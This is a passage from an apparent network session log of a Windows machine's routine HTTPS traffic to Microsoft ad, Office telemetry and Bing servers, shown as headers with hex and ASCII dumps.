chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p= Cache-Control: no-cache MS-CV: 432tsQ/J1USeXdCg.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:38 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: O9reGIlDEQ74k2y5O/47jn0Tn25Zek75n5BJC/EyfLyz3KcdXpBbkWOvwZJckjvkIiBTl94DWtjCZNA0IreCqeQzFxfkj7XFVi0bPcnU5kBoGuCtWn+27J2pLFq7BSKBCcIHup+xoVO2V6ESXJUhVmiT/rZTR76C5GvXosNJkQm+6pvs1tKBzDUeBRSZKS5Nb+NINaQC/RHiyw2CzYNRx7JtP+1gvNKSKTFAUTPeCQXmL1QxkVueK7sXAOglrP7snmgisv6x7LzTGkSLx//e7Lit4ONPol0+6cFISvs91WcvLPDqlDA5xiCdPZA4T+XzE1gOkRKdwwZNpoJ+VxRoWw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:37 GMT Connection: close
2024-12-08 16:45:38 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:38 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164539Z-r1cf579d778t6txphC1EWRsd4400000006ag000000005e0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164539Z-r1cf579d7788pwqzhC1EWRrpd8000000068g00000000031b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:38 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2d987862-a01e-000d-1176-49d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164539Z-r1cf579d7782v2q5hC1EWRt9bw00000000fg000000000r44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:38 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164539Z-r1cf579d778dfdgnhC1EWRd3w000000005k000000000ae2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:39 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164540Z-r1cf579d7789trgthC1EWRkkfc00000006g000000000736f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49804	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:39 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164537Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=840333e3fde24af4b56dda93f4b9d4d1&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-88000045&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p= Cache-Control: no-cache MS-CV: 432tsQ/J1USeXdCg.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:40 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: tiXdfdvfU0UOwgg2mfexbNE9UwaSI1wcMu5xGMYuYpNIBFK0DYSjmdY3yldsWiS+WIMooPAS/nq0PXP6MeSOnE7dnmnjJiJ1YaWoZIHC8SVVvRJzasskCQw8zVzHfc51cWZ5IW5Z+b61dIeaWQkD1gSx0Hucq10NfEYK7WNb5CY3IJqksTBDp63i2yQk+LQOGAYGkZGpDufO8pMZU1IaF1tqWNQ6+VHyMvDLgdEoTnb5lVnDu7XVeIeja3I/X7dcJY61p/WE9GAtrcZxtWswMJe9ACwfmO0ZbiQOQivzXLfnoCnVHFwHSRPR3M6BJOM5c4Y6m+pq/4J3AzHd5j1KbQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:39 GMT Connection: close
2024-12-08 16:45:40 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49806	2.16.158.72	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-12-08 16:45:41 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Sun, 08 Dec 2024 16:45:41 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.169e1002.1733676341.9338c69
2024-12-08 16:45:41 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49807	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	2608	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164537Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5217739720314ee6a50c2f3b2bc4e0a0&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338388&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=531538185&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: 